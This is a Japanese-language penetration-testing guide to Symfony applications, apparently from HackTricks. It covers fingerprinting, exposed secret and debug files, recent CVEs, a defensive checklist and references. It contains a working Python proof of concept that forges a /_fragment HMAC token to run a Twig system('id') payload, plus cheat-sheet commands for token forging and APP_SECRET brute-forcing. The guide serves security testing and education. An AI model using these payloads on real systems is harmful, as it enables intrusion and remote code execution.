125 lines
7.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Symfony
{{#include ../../banners/hacktricks-training.md}}
Symfonyは最も広く使用されているPHPフレームワークの1つで、企業、eコマース、CMSターゲットDrupal、Shopware、Ibexa、OroCRM … すべてSymfonyコンポーネントを埋め込んでいますの評価に定期的に登場します。このページでは、Symfonyアプリケーションを発見した際にチェックリストに加えるべき攻撃的なヒント、一般的な誤設定、最近の脆弱性をまとめています。
> 歴史的な注記:エコシステムの大部分は依然として**5.4 LTS**ブランチEOL **2025年11月**を実行しています。多くの2023-2025年のセキュリティアドバイザリはパッチリリースでのみ修正されているため、正確なマイナーバージョンを常に確認してください5.4.46 → 5.4.50)。
---
## Recon & Enumeration
### Finger-printing
* HTTPレスポンスヘッダー`X-Powered-By: Symfony``X-Debug-Token``X-Debug-Token-Link`または`sf_redirect``sf_session``MOCKSESSID`で始まるクッキー。
* ソースコードの漏洩(`composer.json``composer.lock``/vendor/…`)はしばしば正確なバージョンを明らかにします:
```bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
```
* Symfonyにのみ存在する公開ルート
* `/_profiler` Symfony **Profiler** & デバッグツールバー)
* `/_wdt/<token>`“Web Debug Toolbar”
* `/_error/{code}.{_format}`(美しいエラーページ)
* `/app_dev.php``/config.php``/config_dev.php`4.0以前の開発フロントコントローラー)
* Wappalyzer、BuiltWithまたはffuf/feroxbusterのワードリスト`symfony.txt``/_fragment``/_profiler``.env``.htaccess`を探します。
### 興味深いファイルとエンドポイント
| パス | 重要性 |
|------|----------------|
| `/.env``/.env.local``/.env.prod` | 頻繁に誤ってデプロイされる → `APP_SECRET`、DBクレデンシャル、SMTP、AWSキーが漏洩 |
| `/.git``.svn``.hg` | ソース開示 → 認証情報 + ビジネスロジック |
| `/var/log/*.log``/log/dev.log` | Webルートの誤設定がスタックトレースを露出 |
| `/_profiler` | 完全なリクエスト履歴、設定、サービスコンテナ、**APP_SECRET**(≤ 3.4 |
| `/_fragment` | ESI/HIncludeによって使用されるエントリポイント。`APP_SECRET`を知っていると悪用可能 |
| `/vendor/phpunit/phpunit/phpunit` | アクセス可能な場合、PHPUnit RCECVE-2017-9841 |
| `/index.php/_error/{code}` | フィンガープリンティング & 時々例外トレースを漏洩 |
---
## 高影響脆弱性 (2023-2025)
### 1. APP_SECRET漏洩 ➜ `/_fragment`経由のRCE別名“secret-fragment”
* **CVE-2019-18889**が元々ですが、デバッグが有効のままにされているか、`.env`が露出している場合、現代のターゲットでも*まだ*見られます。
* 32文字の`APP_SECRET`を知ると、HMACトークンを作成し、内部の`render()`コントローラーを悪用して任意のTwigを実行します
```python
# PoC 秘密が必要
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # TwigでのRCE
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
```
* 優れた解説と悪用スクリプトAmbionicsブログ参考文献にリンク
### 2. Windowsプロセスハイジャック CVE-2024-51736
* `Process`コンポーネントはWindowsで`PATH`の前に現在の作業ディレクトリを検索しました。攻撃者が書き込み可能なWebルートに`tar.exe``cmd.exe`などをアップロードし、`Process`をトリガーできるとファイル抽出、PDF生成、コマンド実行が可能になります。
* 5.4.50、6.4.14、7.1.7でパッチ適用済み。
### 3. セッション固定 CVE-2023-46733
* 認証ガードがログイン後に既存のセッションIDを再利用しました。攻撃者が被害者が認証する**前に**クッキーを設定すると、ログイン後にアカウントをハイジャックします。
### 4. TwigサンドボックスXSS CVE-2023-46734
* ユーザー制御のテンプレート管理CMS、メールビルダーを公開するアプリケーションでは、`nl2br`フィルターがサンドボックスをバイパスし、JSを注入するために悪用される可能性があります。
### 5. Symfony 1ガジェットチェーンレガシーアプリでまだ見つかる
* `phpggc symfony/1 system id`は、`sfNamespacedParameterHolder`などのクラスでunserialize()が発生したときにRCEを引き起こすPharペイロードを生成します。ファイルアップロードエンドポイントと`phar://`ラッパーを確認してください。
{{#ref}}
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
{{#endref}}
---
## 悪用チートシート
### `/_fragment`のHMACトークンを計算する
```bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
```
### 弱い `APP_SECRET` のブルートフォース
```bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
```
### RCE via exposed Symfony Console
`bin/console``php-fpm`または直接CLIアップロードを通じてアクセス可能な場合:
```bash
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
```
デシリアライズガジェットをキャッシュディレクトリ内で使用するか、次のリクエストで実行される悪意のあるTwigテンプレートを書きます。
---
## 防御的な注意事項
1. **デバッグを決してデプロイしない** (`APP_ENV=dev`, `APP_DEBUG=1`); ウェブサーバーの設定で`/app_dev.php``/_profiler``/_wdt`をブロックします。
2. 秘密情報はenv変数または`vault/secrets.local.php`に保存し、*決して*ドキュメントルートを通じてアクセス可能なファイルに保存しないでください。
3. パッチ管理を強制する Symfonyのセキュリティアドバイザリーに登録し、少なくともLTSパッチレベルを維持します。
4. Windowsで実行している場合は、CVE-2024-51736を軽減するために直ちにアップグレードするか、`open_basedir`/`disable_functions`の防御層を追加します。
---
### 有用な攻撃ツール
* **ambionics/symfony-exploits** secret-fragment RCE、デバッガールートの発見。
* **phpggc** Symfony 1 & 2用の既製のガジェットチェーン。
* **sf-encoder** `_fragment` HMACを計算するための小さなヘルパーGo実装
## 参考文献
* [Ambionics Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
* [Symfony Security Advisory CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
{{#include ../../banners/hacktricks-training.md}}